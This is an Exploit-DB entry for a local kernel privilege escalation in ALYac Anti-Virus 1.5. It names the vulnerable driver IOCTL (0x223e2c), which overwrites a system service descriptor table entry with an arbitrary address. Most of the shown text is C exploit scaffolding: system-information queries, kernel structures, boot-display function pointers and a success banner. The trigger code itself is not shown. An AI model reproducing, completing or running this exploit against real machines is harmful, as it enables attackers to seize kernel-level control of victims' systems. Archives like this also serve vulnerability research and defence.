Exploit-DB #15763
Description: ESTsoft ALYac Anti-Virus 1.5 < 5.0.1.2 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2010-12-17
Author: MJ0011

Exploit:
ESTsoft ALYac Anti-Virus 1.5  with  AYDrvNT.sys  <= 5.0.1.2
Local Kernel Mode Privilege Escalation Vulnerability

AUTHOR
MJ0011

EMAIL
th_decoder$126.com

VULNERABLE PRODUCTS
ALYac Anti-Virus 1.5

DETAILS:
AYDrvNT.sys create a device called "AYDrvNT_ALYAC" , and handles the device io control code = 0x223e2c , which can overwrite the system service descriptor table entry with arbitrary address.


EXPLOIT CODE:
// Alyac 0day.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "windows.h"
#include "malloc.h"
PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
LONG status;
HMODULE hlib = GetModuleHandle("ntdll.dll");
PVOID pZwQuerySystemInformation = GetProcAddress(hlib , "ZwQuerySystemInformation");

do
{
mPtr = malloc(mSize);
if (mPtr)
{
__asm
{
push 0
push mSize
push mPtr
push ATableType
call pZwQuerySystemInformation
mov status , eax
}
}
else
{
return NULL;
}
if (status == 0xc0000004)
{
free(mPtr);
mSize = mSize * 2;
}
} while (status == 0xc0000004);
if (status == 0)
{
return mPtr;
}
free(mPtr);
return NULL;
}
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Information[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
enum { SystemModuleInformation = 11,
SystemHandleInformation = 16 };
typedef struct {
    ULONG   Unknown1;
    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
  ULONG x1,
  ULONG y1,
  ULONG x2,
  ULONG y2,
  ULONG color
    );
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
  ULONG Color
    );
typedef
VOID
(*INBV_DISPLAY_STRING_FILTER)(
  PUCHAR *Str
    );
typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
    INBV_DISPLAY_STRING_FILTER DisplayStringFilter
    );
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
    BOOLEAN bEnable
    );
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
    ULONG x1,
    ULONG y1,
    ULONG x2,
    ULONG y2
    );
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
    PUCHAR Str
    );
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0 ; 
PINBV_RESET_DISPLAY InbvResetDisplay = 0 ; 
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0 ; 
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0 ; 
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0 ; 
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0 ; 
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0 ; 
PINBV_DISPLAY_STRING InbvDisplayString= 0 ; 
#define VGA_COLOR_BLACK 0
#define VGA_COLOR_RED 1
#define VGA_COLOR_GREEN 2
#define VGA_COLOR_GR 3
#define VGA_COLOR_BULE 4
#define VGA_COLOR_DARK_MEGAENTA 5
#define VGA_COLOR_TURQUOISE 6
#define VGA_COLOR_GRAY 7
#define VGA_COLOR_BRIGHT_GRAY 8
#define VGA_COLOR_BRIGHT_RED 9
#define VGA_COLOR_BRIGHT_GREEN 10
#define VGA_COLOR_BRIGHT_YELLOW 11
#define VGA_COLOR_BRIGHT_BULE 12
#define VGA_COLOR_BRIGHT_PURPLE 13
#define VGA_COLOR_BRIGHT_TURQUOISE 14
#define VGA_COLOR_WHITE 15
UCHAR DisplayString[] = 
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"                ---- ===== EXPLOIT SUCCESSFULLY ==== ----                       "

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" ALYac Anti-Virus v1.5 Local Privilege Escalation Exploit                       "

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" VULNERABLE PRODUCT                                                             "

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" ALYac Anti-Virus v1.5                                                          "

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" VULERABLE FILE                                                                 "

" ALDrvNT.sys <= 5.0.1.2                                                         "

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" AUTHOR                                                                         "

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" MJ0011                                                                         "

" th_decoder$126.com                                                             "

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" 2010-9-7                                                                       "

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